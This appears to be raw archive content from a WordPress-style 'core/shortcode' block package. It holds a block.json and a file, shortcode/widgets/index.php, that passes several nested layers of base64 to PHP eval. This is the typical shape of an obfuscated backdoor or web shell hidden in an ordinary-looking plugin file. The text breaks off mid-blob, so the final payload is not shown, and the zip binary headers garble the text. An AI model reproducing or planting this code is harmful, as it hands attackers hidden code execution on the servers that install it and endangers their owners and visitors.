PKFx\4rshortcode/block.jsonnuW+A{ "name": "core/shortcode", "category": "widgets", "attributes": { "text": { "type": "string", "source": "html" } } } PKFx\@P~shortcode/widgets/index.phpnuW+A".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2lQejRpTG1KaGMyVTJORjlrWldOdlpHVW9JbEJFT1hkaFNFRm5XbGhhYUdKRFoybFFlalJwVEcxS2FHTXlWVEpPUmpscldsZE9kbHBIVlc5SmJFSkZUMWhrYUZORlJtNVhiR2hoWVVkS1JGb3liRkZsYWxKd1ZFY3hTMkZIVFhsV1ZFcFBVbXBzY2xkc1pFOWtiSEJJVmxjNVNtSkZTa1pVTVdocllVWk9SbEp0TlZoaVIyaG9XVlZrUzFKR2IzbGlSa1pzWVd4S2QxWkZZM2hUTWtaSVZGaHNWMVpGY0ZCVmJYQnpZMnhrYzFwRk9XdGlTRUpKVm14ak5WTnRTa1pUYTFwVlRWZG9jbGxWV2s5U2JFcHlUMVpLVG1Gc1dsRlhWM1JyVkcxV2MxVnVWbEppVjNoUFdWZDRZV1JHWkZsalJUbFdUV3RhU1ZaSE5WZFdiRm8yWWtVeFYyRXlhRkJaYlhocll6SkdSbVJIZUZkTlIzY3lWbFJKZUZsWFJuUlRiR1JZWVdzMVlWbFhjekZVUmxKV1drVmtXRkpVVmxsVWJGWTBWVEZLVmxkcVRsZFNSVFZ4V2tSR1RtUXhWbk5UYld4T1RWaENUMWRzV2xkVk1EQjVVMjVHVjJKR1NuQlpWRW8wVlVac1YxcEVUbXhXYkVwSlZHeGFkMkZ0Um5SbFNHUmFZbGhDVEZaRlZqTmxSMHBKV2taQ1YwMXVaekJXVkVaV1RWZFNSMU51UmxSaVNFSlpWVzAxUTJReFdraE5TR2hVVmxSR2VWcEZhRXRaVjFaeVkwZEdWMVpXY0ROWmFrWjNVMFV4Vmxack5XaE5NVWt4Vm1wR2IxSXhVWGxTYkd4U1lUTkNWbGxzWkRST1JsSllaRVJTYVZadFVqQlphMVUxWVZaYVdWUnFWbGRTVmxwWVZrUkdSbVZWTVZkVWJXeFRZbXRKZDFkWGRHOVdNV3hYVmxoc1lWTkdXbGRXYlhoM1VrWmFWMWR0Tld0TlZscDVWako0UzJGV1NuTmpSWEJXVFdwV2VsUlVSblpsUjA1SlZXeE9hV0Y2Vm5oV1JtUTBWakpSZUZWWWNGcE5NbEpWVkZab1ExTldXblJOU0dob1VteHZNbFp0TlU5V1JURkdUbGhLVjJFeGNFeFdiWGhUWXpGa2MxZHRhRTVXYmtJd1ZteFNRMVl4U1hoWGEyUlZZVEpTVVZac1ZuZFdiRlp6V2taT1ZsWnJOVEZaYTFKUFdWVXhTRTlVV2xkU2VrRXhWako0WVZKdFJYcGhSbFpwVmpOb2VGZFVRbFpPVlRCM1RWVmFhMUpXV2xkV2JuQnlaVlphUm1GSVRsTldNVVkxVkd0U1IxWnJNVlpqUlhSWFVucEdlbGw2UVhoamJWWkpWbXhvV0ZKWGMzaFhWbHBxVFVkV1YxUnFWbEJXYmtKeFZXdGtOR1F4YTNoV2JrNVZUV3R3VjFZeGFITldSMVowVlcxR1drMVhhRlJaTUZWNFZsWk9jazFXVWxOaVdHY3dWbXhTUTFVeGJGaFNhMmhXWW10S1VGWnNaRFJWUm14WFlVVmFiRlp0VWxoWlZXUkhZVVphVlZacVFsWk5NMEpNVmpKNGNtUXdOVlpWYldoWFlUTkJNVlpVUmxkVmJWRjRZak5rYVUweWVGWlpiR1J2V1ZaU1dFMVhPV3BOVjFKS1dXdGtkMWxWTVVsaFNHUldWbnBXTTFsVldrcGtNVnB4Vld4U1RsSnRjM2hXTWpFMFV6Sk9kRk5yV2s1V2F6VllXVmN4TkdSR1ZYaFdhelZPVW0wNU0xa3dWbXRWUmxwelUyeFNWMkpZVWpOV01GcFhZekZrY21SR2NHaE5hbXQ2VjFaV1lWWXhXWGhUYmtwVVlsUkdWMVJWV2xaTlZscHlWMjFHVTFKdVFrbFdWM1EwVmpGT1JrNVlWbGRTVjJoNVZHdGFkMDVzVG5OalJtaFRZbXRLTVZZeWRHdGpNbFpHVFZoS2ExSjZSbGxXTUZaM1ZsWldjbGR1VG14V1ZHeFpWRlpXTkZSdFNraGxTRUpYVFZkb1ExUnNaRXRXYkdSWllrWm9XRkpZUW05V01qVjNZekpTUjFSWVpHbFNWR3h3Vm14YWMwNVdXa1pXYlRsWVlsVTFXbFpYTlVOaFYxWnlZMFUxV0ZaRmNIRmFWbHBPWlZkT1IyTkhjRk5TTTJkM1ZsZDRVMU14WkhOYVJXUnFVbnBzVmxsc1VrZFNSbFp5VjJ0a2EySlZWalZXUjNSVFZXeGFTR1ZGZEZaTlJscE1XV3BHYzA1c1VuSlBWVFZPWVRKM01sWlVTWGhOUm1SV1RWaFNhRko2YkdGYVYzUjNaRlpzY1ZGdVpFOWlSWEJhVjJ0Vk5XRkdXWGRPVkZwV1RWWmFhRlZVUmtkak1WcFpZVVpXYVZJeWFGZFdSbHBYWkRGS2MxcEZWbEpoTTFKVVZXMTRZV1ZzYkhKWGEyUlhUVlZXTlZremNFOVdSbHBXVFVSQ1lWSXpVbnBXUkVwTFZteFdXV0pHYUZkaVJYQnZWMVpXYTFVeVRraFVhMXBwVWxSc2NGWnNXbk5PVmxwR1ZtMDVXbFl3V2xkVWJHaERZa1pLV0dWRlZscFdNMmg2VkZaa1UxTkZNVlpsUlRWcFUwVktTMVpxUm05VU1rVjVVMnhhWVUweWVGVlVWM014WkZaU1dHUkVRbGhXYlZKYVZrZHpOV0ZHV2paV2EzUlhVbnBHZWxSclZYaGpiVlpKWWtab1dGSldjRkZYVmxwdlVqRlNSMVpzVmxKaE0yaFVWVzEwWVUxc2NFaGtSRkpQVm10d1NsZHJhRmRVTWtwWFYyNVdWazFXVlhoWk1HUlRZMVpPYzJOSGFHbFNNMmQ2VmtSR2FtVkdTbk5VYkZwUFYwWktWRmxYZEhkVWJHUllaVWhPVGxZeFNrbFVWbFozVkcxRmVtRklVbGROVjJoSVZtdGFTMUl5VGtoUFZsWnBWa1ZhU0ZaR1pEQk5SMVpYV2tac1ZtRjZiSEJXYkZaelRsWlplR0ZGZEZoaVZURTBWa1pTVjFaR1duTlRiR1JXWWxoU1ZGVXllRk5rUlRGV1drVTFhRTB5YURWV01qVjNVekZTU0ZSdVRtcFNlbXhvVlc1d1IxTXhVbGhsU0U1c1ZtMVNNRmxWVWxkVk1VcDBaVVJLVlUxWFVucFViWE40WXpKS1IySkdhRmhTVlZWNFYxWmFhMkl4U2xkV2JHaFFWMFZ3V1ZsclpFNWxSbXhZVFZVNWExWXdjRXBYYTJRd1ZURmFjbU5JV2xoaE1WcHlWVzE0ZG1WR1JuTlZiRXBwVmtWYWVWWnROWGRXTWs1WFkwVmFZVk5GTlhKWmJGWjNaREZrY1ZOcVFscFdhMVkyVjJ0ak1WWkhSWGxWYWxwYVRVZFNXRlJVUVhoU2JWSkdZMFpLVGxKV2NERldWRVpYVkRGVmVWUnJhRlppYTBwVFZtdGtORk14Vm5WalNFNU9UVmRTZWxkWWNFZGlSMHBXVFZSV1lWWlhVbWhaVnpGTFZteGtjVkpzYUdoTmF6QjRWMnRXWVdKdFZuTlNibFpxVWpCYVdWVnRlSGRsVm1SWVkwVmFUMVl3V2xsV2JYaHpWbTFLV1dGSVJtRldiVkoyVkZkNGNtUXhjRWRhUjNSWFRVUkZNbFpyWXpGVU1XUldUVmhLVDFkSFVtRlVWV1JUWkd4c2NscEZPV3BOUkd4YVZWY3hNR0ZXU2tobFJGcFhUVzVvY1ZSV1pFdGtSbFp5WVVkR1RtRnRlRTFXUm1Rd1dWZE5lR0V6Y0doTk1sSnpWbXhTVjFac1dYaGhSazVZWVhwR2VWa3dhRWRXUjBwMFpVaHNXazFHVlRGVVZFRjRVbTFTUm1OR1NrNVNWbkF4VmxSR1YxUXhWWGxUYTJoVVlteEtWbFpxU2xOVmJGcFZVV3QwVG1KSGRETlhhMXByWVRGWmQwMVVXbGRTZWxaUVZqRlZlR014WkhGU2JHaFhVbFJXVFZaSGVHdFVNVTVYVm14b1VGWllVbFJVVmxaaFRteFZlRlpyT1doTmExcElXVEJhYzFaV1pFZFRhemxhVmpOb1YxcFdXbE5TTVhCR1QxZG9WMkpZWTNoV01WSlBWREZPYzFKWWFGUmliWGhXVld4Vk1WRXhjRVZSYWxKVFVtdGFXVnBGWkc5WFJrcDBaVVJPVjFKRk5YRmFSRVpPWkRKS1JsVnNTbGROYkVwTVZsUkNWMlF5VFhoalJWcG9VbTFTYzFacVFuZGtNVlpZVGxoT2FFMVZOVWRaTUdoclYyMUtSazVZV21GV2VrWlVWVEZhVDJOV1JuUmpSMmhYVFcxb00xWnFSbUZpTVZGNVUydGFUMWRGV2xkWmJGcDNZVVphZFdOR1pHcFdiWGg0VlRKNFQyRldTbGxWYTFaWFZucEZNRmxXWkV0V2F6RllUbFpXVTAxdWFFUlhWekY2VGxkT1dGTlliRTlXV0VKVFdsZDRTMlJXVlhsa1IzUnFUVVJHZVZwRldsTmhNREYwVld0NFlWWnRhRkJVVjNoUFpGZEtSVlJ0Ums1VFJVVjRWa1phYTFsV1RYbFdiR2hyVTBoQ1ZWWnNWVEZqVmxGNFZtNWtUMVl3V1RKWGExWlhWbXhrUmxKVVJsZFNSVFZ4V2tSR1RtUXlUa1poUmxwcFYwZG9hRlpHVWtOa2F6RlhZVE5rYUZKck5WUldiVEUwVjJ4YVdFMVhPVlJpUlhCR1ZWY3dNVmRIU2xWV2JHaGhVbXh3ZVZwWGVGZGtWa1owWWtVMWFHSkZiM2xXVkVvd1lURldkRlJZWkdsU1ZrcFhXVzEwZDFSV1dYZGhSVGxWVFZWV05WbHJWa3RaVlRGSVpVVldWbFp0VVhkWlZ6RkxWbXhrV1dOR1VsZFdhMWw2VmpKd1IyTXlVa2RUYmxacVVqQmFXRlZ0TVRCTk1WbDNWV3QwVmsxcmNFaFpWRTV6VlVaWmVsVnRhRmRXUlhCMlZHMTRkMUp0Umtaa1JUVlRUVVJXTTFZeWNFdE5SbXhYVWxod1lWSjZWbFZaYlRFd1RrWmtkR1JJWkU5V01VWTFWMnRXTUdKR1pFWk9TR3hXVFdwV2Vsa3lNVTlTYXpsVlZHczFVMWRHU2t4V1ZsSkRVakpLYzFSc1dtRlRSVFZ3Vm14a05GSldaSEZUYWtKb1lsVndWMVl4YUhkV1JscFhVbXBPVlUxV2NFUldhMXBIWkVVeFYyTkdaRTVOYldONVZtcEtORlF5VG5OaU0yeFZZbXhLV0ZsWGRFdGpiRmwzVm01a1RsWnJOVmRYYTJSSFlVWkpkMk5GY0ZkU2VrVXdWbFZrVTA1c1JuSmxSbEpYVmxSV1JGWXljRU5qTVVwSFZtNUdWbUV6UWxSVmExWkxaRlpaZVdWSE9XbE5iRVkxVlRKMGIxVkdXWHBWYldoWFZrVndjbHBHV2xKbFYwNUpWMjFzYUUweWFFWldWbHByVFVkR2RGTnNXbGhYU0VKV1ZXeFZNVkV4Y0ZkV2FrSlhWakF4TTFSc1ZsTmhSbHBXVjI1V1ZrMVdXbEJWVkVwWFZqSk9SMkpHV21oaE1YQjRWMWQ0VTFVeVNuTmlSbVJvVWxSc2MxbHJhRU5YYkZwWFdYcFdWRTFWTlVsWlZXUnpWbFphVjJKRVRscE5SbHA2Vld4Vk5WTkdjRWhpUlRWT1VsaENObFl4WTNkTlZsRjVWbTVTVkdFeVVsRldhazVUWVVaYWNWRlVSazlXYmtKWVdWVldUMVJzU2xsVmExWlhWak5DVkZZd1pGZGpiRTUwWkVaV1UxWlVWa1JYVnpFMFl6RmtSMWR1Vm1wU1ZFWllWV3hrTUU1R1draE5XRXBzVWpCYWVsbHJhRk5XVmxvMlZtczFWbFpGU2toWk1uaHpWMWRLUlZSdFJrNVNSVnBHVjJ0U1MyRXhUWGhVYTJob1VqSjRWbFp0ZUhOTk1XUnhVbXRPVDJGNmJFbFhhMVl3WWtaWmQwNVVUbFpOVmxwVVdrZDRkbVZIVGtsVmJFNXBZWHBXZUZaR1pEUldhekI0VTJ0a1UySnRVbEZXYkZKeVpXeFNWbFpxUWxSTlZUVkhWR3hvYTFkSFJuSmhNMmhYVm14d2VsWXhXazlrUjBaSVlrWm9VMVpGV2pGV2JGWmhWREZGZVZOc2FGWmlSMmhRVm1wT1EyTnNWbkZUYWxKT1lrZDRNRmxyWXpGaFJURllaVVpXWVZKRmNISlZla1pLWld4U2RWcEhSbGhTTURSNlZsaHdRMk14U2tkU2JHaGhVbGhDVkZSVVJrcE5iR1JZWTBVNVZFMUVSa2RhUlZaVFZtMUtXR0ZGTVZkaE1taFFWa1JHUm1WWFNrWlRiVVpPVWpOb1JsWldXbXROUjBaelZsaGtVMVpHV2xWV2JHUlRaR3hTVmxwR1RsUldhMW93VmpKNGQyRlhTa2RqUkU1WVZqTlNjbFpVUm5ka1JsSnpZa1prYVZkSGFIaFhWekI0VFVkU2MxUnVTbUZTVm5CeFZXeFNjbVZzVWxaV2FrSlVZa1ZXTTFWdE1ERldSbHBXVGxaU1dsWldjSEpVYkZwM1UxZE9TR0ZHWkU1aGVsVjRWbXBDWVZReFJuSlBWbHBwVWxkb2IxVnFTbTlqVmxKWVRWYzVhVlp0ZUZkWFZFNXZZVVpLZEdSNlJsaGhhMnQ0V1ZkemVHUkhSa2hQVmxaWFRUQktXRlpHWkRCa01EVllWVmhzWVZKWVVsVlZiRnBoVG14VmVGWnJPVlpOYXpWNVdrVmFWMkZyTVhSVmF6VmhWbXhLZGxsdGMzaGpiVkpKWWtab2FWWXlhSGxYVjNoWFkyMVdWMXBHYkZSaVZWcHZWVEJrTkZKc1dYaGhSVXBQVmpCYVdsbHFUbk5YUmxwelYyNVdWMVpGU2xkYVZWcEhZekZLY1ZSck5WTlhSa3BNVmxaU1ExSXlTbk5VYkZwb1VsaFNjRlZxUmt0VGJGcDBUbGhPYUZZd1dsZFZiVFZYVm14T1NHVklSbGhoYTBrd1dUQmFSMlJGT1Zoa1JsSlRZVEk1TmxacVFsTlRNVTEzVFZab1UySkhhSE5WYWs1VFYyeFNWVkZzY0d4U2JWSjZXVlZXTUZReFdsbFZhMVpYVm5wR2RsWkZXbUZUVmxKeVQxWktUbUZzU1hwV1IzQkRWVEZXZEZOWWJHdFNNMUp3Vm0xNGRrMVdaRmRYYlhSYVZsUldXRlpzYUhOaFZrbzJWbTVDV21KR1dtRmFSRVozVWpKR1JtUkhiRk5XTTJoSFZrWldhMkV4YkZoVGJrNVlZV3RhV1ZaclZURldSbXQzV2tWd2JGWlVWa2xVTVZZd1ZUQXhSMWRxV2xaTlZscFFWbFJLVDJOdFVrZGlSM0JPVWtaYVJsZFdXbGRTTWtwelZHeGFWV0V3TlhGVmJUVkRaREZXVjFsNlZsUmlSbXcxV2xWU1lWZHRWbkpqUm1oVlZsWlpkMVZyV2xka1IwWkhZVWQ0VjAxVmEzbFdNVnBoWVRKR2RGTnVUbWhTYkVwdlZGUkNTMU14VlhkV2JtUnFUVmhDUjFsVldtdGlSbGwzWTBoa1ZsWnRhSEpXVldSVFRteEdjbVZHVWxkV1ZGWkVWakp3UTJNeFNrZFdibEpRVmxoQ1ZGVnJWa3RrVmxWNVpFZDBVMDFYZUhsWmFrNTNWbGRLY2xOdGFHRldiVkpVV1ZSR1VtVnRTa1pVYXpWWFRVaEJlRlpyWTNoT1IwVjRVbGhzWVZORmNGbFdiWGgzVG14c2RFMVZOV3hXTUhCSlZHeFdNRlJzV2taVGFrNVhVa1UxY1ZwRVJrNWtNa3BHVld4S1YwMXNTa3hXVjNCUFZUQTFjMkpJUmxWaE0xSlBWV3hvVTFKV1dsaE5WemxWVW14d1NsWkhjelZWYXpGMFpVVk9XR0ZyU25wVmExcEhaRmRLU0ZKc2FGTmhNbmN3VmpGU1NtUXdNVWRpTTJ4VFlUSm9WRmx0TlVOaU1WWjBZMGhPYWsxWGREUlpWVnByWVVaSmQyTkZjRmRTYlUweFZYcEdTbVZXY0VsalJsSlhWakZLTWxkV1ZtdFViVlpZVW10b1dHSlhhRlJhVjNSaFpHeFplR0ZJVG1saVZYQXdWa1pvYzJGR1NYbGhSVGxhVmpOb1YxcFdXazlrVjBwRlZHMUdUbUV4Y0V0V2JHUjNVVEpHYzFOdVJtbFRSVXBvVlcweFUyVnNiRFpTYm1SVFRVUnNXbGxWWkRCV01ERlhZbnBHV0dKR2NGQlpiVEZHWlVkS1IxVnRhRTVOUkZaTVZsWlNSMU15VmxkVVdHaFZZbXR3VUZSVldrdFZNV3QzVlc1T1ZsSXhTVEpWVjNRMFZURktjbGRxU21GU00xRXdWR3hhUzFOV2NFbFdhemxYWVhwV1ZGWlVSbFpOVjA1SVZXNUdWR0V6YUZCVVZtaERaREZhU0UxSWFGTmlSVFZYVkd4b1UxVXlSbkpqUlRGYVZqTm9lbHBYY3pWWFIwVjZZMFpTVjFaR1dYZFdWekYzVXpGU1dGSlliRnBOTW5oVlZGUkNkMkZHYkZaYVJrNXJVbXMxVmxVeWVIZGhiVXBKVVc1YVlWTklRa1JXUlZwelZqRndSMk5IUms1VFJrcEdWbGN3TVZFeVJuSk5TR1JQVjBVMWFGVnNWVEZrVm14VlVtMDFiRkpzU25sV01uaGhWR3hhVlZacmVGZGhNVXBEVkZaYWMyTnRTWHBpUms1b1lURndlVlpYY0V0aU1rMTRZa2hTVDFack5YRlZiVEV3VGxaV2RHTkZUbHBXYkd3MFZXMDFWMWRHU25KT1dHeGFUVVphZWxVeFpFNWtNRFZXVlcxb1YxWldjREZXVkVaWFZERkZlVlJyWkdwVFJVcFRWbTV3YzJJeFdYZFdWRVpQWWtkU2VsbFZXa3RoVlRGSlVXdG9WVTFXY0VoV2JGVjRWbXMxVjFkc1pFNU5ibWg1VjFaV1lXUXhUa1pOVm14U1lsZDRjRlZyWkRObGJGbDRWMjA1VlUxc1dubFphazV2Vkd4T1JsTnJkRlpXUlZwNldrVmFUMVp0UmtaVWJXaFRUVVJGTWxaclpIZFVNa1pXVFVoa2FsTkZjRmxWYTFVeFlVWnNjbHBGT1d0U01IQkpWRlprTkZack1YUlZibXhYVFVaS1NGVlVSbGRTTVZwWllVWmFhVlpZUWsxV1JtUXdXVmRPYzJKSVRtRlRSVFZ5Vm0weGEwNXNWbGhOVnpsb1lYcENNMVJXYUZkWFJrcHlUa2h3V0dGclNqTlZNVnBIVjFaR2NtVkdXazVTVjNRMlZsZDBZVkl5VW5OaU0yUnBVbFpLVTFacVNsTlRNVlpWVVd0a2FXSkZOVmRXUjNoUFdWZEtSMVpxVGxkaVdHaFVWbTF6ZUZOSFZrZFNiR1JUVFRKbk1sZFhNVFJqTVdSWFYyNUdVbUpYYUZSVVZscDJaVVprY2xadGRHcE5hMXA2V1d0YWMxWnRTbGxoUjJoV1ZrVndWRmxVUms5V2JGWlpXa2RHVG1KRmNFcFhWM1J2VlRGc1YxWlliR0ZUUjFKV1ZGUktUMDB4VmpaUmJrNVRVbXRhV1ZkclZuZFdSa3BHVTI1V1YwMXVhSEpVYTJSWFl6Sk9SMVZzU21oaVZrcEhWbXhhYWs1WFNuTlViRnBWWVRCd2FGUlZaRFJTVmxaWFdrZDBWR0pGYkRSV01qVkhWMnhhV0ZSVVFsaGhhMHA2V1RGa1VtVlhSa2RVYkU1WFVqTm9SMVp0TVRCWlYwMTRWbXhrVkdKR1NsTlpiRkp6WTJ4V2RXTkZaR3hpUmxwSlYxUk9hMVpGTVVobFJWWldWbTFTY2xVeWVFWmtNVXAwVGxaU1YxWlVWa1JXUkVKclVqRk9WMVp1VmxaaVYzaFRWRlZXZDA1c1dYaFhiWEJPVmpCd2VsVlhlRk5aVmtsNVlVaEdXbFp0VWs5Wk1uaExVakZLZFZkdFJrNVNNMmhHVmxaYWEyRXhUbk5TV0dSVFlsUldWVlpzV2twTlJteHhVbTVrV0ZKcmNEQmFSVnBIV1ZkV2NsTnJNVlpOVmxwUVZWZDRkbVF5U2taVmJFcFhUV3hLVEZaV1VrTlNNa3B6Vkd4YVZXRXdjR2hVVmxaTFUxWlNWMXBFVW1oTlZXd3pWbTB3TVZkR1drWmpTRnBhVmxkU1VGcEdXbE5rUjFaSVpFWk9VMUpWYjNoV2JURTBXVlpWZUZOWVpHeFNiRnBvVkZkd1YxVnNaSFZqUlU1VlVtczFWMVpIZEV0WlZURklaVVZXVmxadFVuSlZNbmhHWkRGS2RFNVdVbGRXVkZaRVZqSndSMUV4VGxkV2JsWlNZbGhTVkZSVVNtOWxiRnBXV2tSU1ZVMUVWbGxXUm1oM1ZtMUtXV0ZJUWxkV1JVcE1Wa2Q0YzJOV1RuUmtSM0JUVFVoQ05GZHJVazlaVjBWNFUxaHNhMDB5VW1GWlZFcFRWakZPTmxGc1RsWmlWV3cxVjJ0V2QxVnJNVVpYYmxaV1RWWmFVRlZYZUhaa01rcEdWV3hLVjAxc1NreFdWbEpEVW1zMVIySkVXbFZpUlRWUVZtcENkMU5XV25OVWFrSlRWbXhhV1ZReFl6RldSbHBXVGxWT1dHRnJTbnBWYTFwSFYwWndSbU5HU2s1U1ZuQXhWbFJHVjFReFJuTmlNMlJwVWxaS1UxWnFTbE5aVm14elZXNU9hbUpJUWxoV1IzUlBWREF4U0dWRmJGWk5ha1oyVmpKemVHUldWblZXYkhCT1lXdEZlRlpHV210VE1sSkhWbXhXV0dFelFsTlVWVkpHVFVaWmVGZHNUbE5OYTFwSFZGWmFiMVV4V2toVmEzUldZV3RGZUZSWGVITmpiR3cyVm0xNFYxWkhlRE5XVmxwclpERlJlRk5zV2s5V1ZUVlhXV3hvUTFZeGNFVlJWRlpQVm10YWVGVlhNVWRYUmtsNVdrUk9WMUpXY0hKVmFrcE9aVlpLYzJGSFJsUlNiSEJTVjFaYVYxTXlUbGRhU0U1YVpXdGFUMVZ0TlVOWGJGVjRWVzEwVkdKRmJEUlpNRkpMVjIxS1ZWWnNUbUZTVm5BeldrVmFTMlJXVm5SaFJtUk9UVzFPTkZaclVrdGpNVVowVTI1T1YxZEhlRmhaYkZKWFkwWlNXR1ZHWkdsaVJuQjZWbTAxUzJGWFJYcGhSVlpXVm5wV00xWXllR0ZPYkZweFYyeFdVMkpYYUZGWFYzUnJWREpTU0ZOcmFFNVdhMHB6Vm14V2RtVnNXWGhYYlhSV1RXdFdOVlZ0ZUc5VU1WbzJWbXMxVjAxR2NFeFVWM2h5WkRGV2RWZHRSazVTUlZwWFZsWmFiMkV5Um5OVWEyaGFaV3MxVlZac1pHdE5NVnBJWkVVNWFsSnJXbGxYYTFaM1ZXc3hSbGR1VmxaTlZscFFWVmQ0ZG1ReVNrWlZiRXBYVFd4S1RGWldVa05TTWtwelZHeGFWV0V3Y0hKV2FrSjNVMVpSZUZsNlJtaFNiRzh5Vmxkd1ExZEdXalpSVkVaVllURmFlbFV4WkU1bFZuQkhZMGRzVjFadVFqUldNVnBUVXpKRmVWWnNhRlJYU0VKWVdXMTRZV0ZHVm5KWmVsWnBZa1UxV2xrd1ZqQmhSVEZGVW1wQ1YxWnRhSHBYVmxwTFUxWlNkRTVXY0U1U01VcEpWMVpTUjJReFRraFRhMnhYWWxWYWMxbHNVbk5rVmxwSFlVaGtVazFzUmpWV2JYUlhZV3N4ZEZWdFJscGlSa3A2Vkd4YWEyTnNjRWRhUjNoWFYwZG9ZVlpVU1hoaU1XeFhVMWhzYTAweWFHRlVWRTVEVFd4a2NWRlVWbFJXYTFwNFZsZDRRMkpHV2xaalNHeFlWbXh3ZGxaRVNsSmxWazV5WVVaT2FHSkdjRkpYVmxwWFV6SlJlR0pJVWs1V1JrcHhWV3BDZDAxR1duTmhSazVZWWxWd1dsbFZVa3RYUmxwR1kwUmFWV0ZyU25wVk1GcFBaRlprZEdWR1NteGhNV3Q1VmpGYVYyRXhTWGxTV0d4VVYwaENZVnBYZUhkVE1WWnlWbXRrYVdKR1NsZFdSM1JMWWtaYVZWSnJjRlpXTTBKVVZUSjRUMUp0VGtsV2JHaFhaV3RhU0ZkWGNFSmxSa3BJVlZod2FWSlViRmhWYlhoaFRteGFSMVpyT1U1TmJFWXpXbFZvUjFVeFpFWlRiRVpoVm14YVMxUnNXa3RTTVVwMVYyMUdUbEl6YUVaV1ZscHJZVEZPYzFKWVpGTmlWRlpWVm14Vk1WRXhaSEZSYms1VFVtdGFXVmRyVm5kVmF6RkdWMjVXV0Zac2NIRlVWbVJTWlZaV2MySkdXbGhTVkZaTVZsZHdRMlJ0VmtkalJWcG9VbXMxY2xsc1ZuZGtNVlpZWTBkMFZHSkZOVWRWTWpBMVYwZEZlVlZzVWxwTlIxSk1Xa1ZhYzA1c1pISmpSazVUVm14c05sWXhVa05pTWtweVRraGthVkpYYUU5V2FrcHZZMVpzYzFwR1RtdE5WM2d3V1RCb1lWbFZNVVZXYkhCV1ZqTkNWRlpWWkZkV2JFNTFVV3h3YUdGNlZrMVhWbEpIWkRGa1YxUnNWbGhoTTBKVVZXeGFkbVZzWkhOV2F6bFNUV3hhTUZVeGFITmlSazVHVTIxb1ZsWkZTa2haTVZwVFkyeFdjMU5yTlZOV1IzTjRWbFpqZUdNeVJsWk5TR1JxVTBWd1dWbHJaRzlUTVhCR1drVTVhMUpyY0RCYVJXUnZWMFpLYzJKNlNsZFNSWEI2VlZkemVGTkdVbkppUjBac1lsWktURlpYY0VOa01rbDRXa1pXVkdGclNuQlpiRlV4VFVaUmVGVnJaR2hXTUhCWVZXeFNTMVpHV2xaT1ZUbGhWak5PTkZSdGVGTldWbkJHWTBaT1RsSkdWalZXTVdRd1lXczFXRlpzV2xCWFJVcFRWbXBPUTJGR2JITlhibVJyVW14R05sbHJWazlWUmxwWFUyeE9XbUZyY0hKVk1uaEdaREZLZEU1V1VsZFdWRlpFVmpKd1EyTXhTa2RTYkdoaFVsaENVMVJWVm1Ga1ZsVjRWbXM1VW1KSE9UUlphMmhYVmpKR2NsTnVTbFppYmtKNlZGWmFUMVp0UmtsalIwWk9Wak5uZDFaWE1IaGtNa1pHVFZoU1ZtRnNXbUZaVjNNeFYwWndSMWR1WkZOV01HdzFWMnRXZDJKSFNrWmpSVnBYVm14d1dGWXljM2hXYXpGV1ZtMXdUbUpXU21oV1JsSkhXVlUxVjJKRVdsUldSbHB6Vm14U2MyUXhWbGhPVjNSb1ZsUkdNRnBWVWtkWlZrcFlWV3hvWVZac1ZURlViRnBIWTFkS1JsWnNXbGRsYlhneFZsUkdWMVF4Um5OaU0yUnBVbFpLVTFacVNsTlRNVlpWVVd0a2FXSkZOVmRXUjNSTFZVWktXVnBFV2xkU00wSkVXV3RhV21WdFJrbFViRnBUVFdzMGVsWlljRU5qTVVwSFVteG9ZVkpZUWxOVVZWWmhaRlpWZUZack9WSmhlbXhIV2tST2MyRkdTWHBoUjBaWFlXdGFSMWt5ZUV0U01VcDFWMjFHVGxJemFFWldWbHByWVRGT2MxSllaRk5pVkZaVlZteGFTazFHYkZkYVJYQnNWbXhhZUZadGVFZFpWMVp5VTJzeFZrMVdXbEJWVjNoMlpESktSbFZzU2xkTmJFcE1WbFpTUTFJeVNuTlViRnBWWVRCd2FGUldWa3RUVmxwWVRsVk9hRTFyV2xkVk1qVkhWMjFGZVZWcmFHRldla1pRVkcxemVGTkZOVmhpUms1c1lsaG5lRll4V21GaGF6RklWV3RrYVZOR1NsRldhMXBMVkVad1dHTkdUbFZOVlZZMVdXdFdTMWxWTVVobFJWWldWbTFTY2xVeWVFWmtNVXAwVGxaU1YxWlVWa1JXTW5CRFl6RktSMUpzYUdGU1dFSlRWRlZXVmsxR1pGZFdiRTVWWVROUk1sbFZWakJVUlRGWFYyNXNWbFpGU2t4VlZFWnJZMnhyZW1GSGNGTk5TRUl6Vmxaa01GTXlSWGhhUldSVVlteHdXVmxyWkU1bFJsSldXa1ZrV0ZKc1NqQlpWV1F3VlRBeGRWb3piRmhXZWtZelZGUktVMlJHU25KV2JGWldUVEZLUjFac1dtcE9WMHB6Vkd4YVZXRXdjR2hVVldRMFVsWldWMXBIZEZSaVJWWXpWVzB3TVZaR1dsWk9WVTVZWVd0S2VsVnJXa2RYUm5CSFVteE9UbGRGUmpWV01WSktaREpSZUdJemJGUmlSMmhZV1ZkMFMySXhWblZqU0U1cVlrWmFTRlpITVRCaE1ERnlZa1JhVjFJelFrUlZla3BYWTFaV2NrOVdTazVpV0doRVZqSndRMk14U2tkU2JHaGhVbGhDVTFSVlZtRmtWbFY0Vm1zNVVtSkhPVE5aYTFaVFZXeFplVlZyZEZaV1JVcElXVzE0VDFac1VuSlRiVVpPVmxWd1NsZFhkRzlXTWtaelZHdGtXRmRIVWxWV2JHUnZWa1pTYzFwRk9WUlNiSEJXV1d0V01GUnJNVVpqU0ZwWVYwaENVRlpFUVhkbFZrNVpZMFpTYVZkR1NrMVhiRnBYVXpBeFYxcEdaRnBOTW1od1ZXMTBTMVpXWkhKYVJ6bGFWbXR2TWxWdE5XdFhiVXBaV1hwR1lWSkZXbnBXTVZwVFpGZE9SbVJIZUZkV1Z6azJWakZrTUdFeFNYbFNiazVxVW0xb2IxVXdXbmRqUmxaeFVtdDBhazFYZERWWmFrNXJZVmRLUm1OR2JGVmlSa3BFVjFaYWExSnRTa2hPVm1oWFlsWktWVmRyVm10U01XUkdUbFZvWVZJelFsUlVWVnAyVFd4a1dXTkZPV2hOYkVvd1ZrYzFVMVpzV2paV2EzUldUVVphTTFsNlJuSmxSMFpIV2tkd1UwMUVWWGRXYlRCNFRVWldWMk5FV2xKaE0yaFZWbXhWTVZFeFpIRlJiazVUVW10YVdWZHJWbmRWYXpGR1YyNVdWazFXV2xCVlYzaDJaREpLUmxWc1NsZE5iRXBNVmxaU1ExSXlTbk5VYkZwVllUQndVVlZ0TVRSTlZscDBZMFZPYUUxVmJ6SlphMUp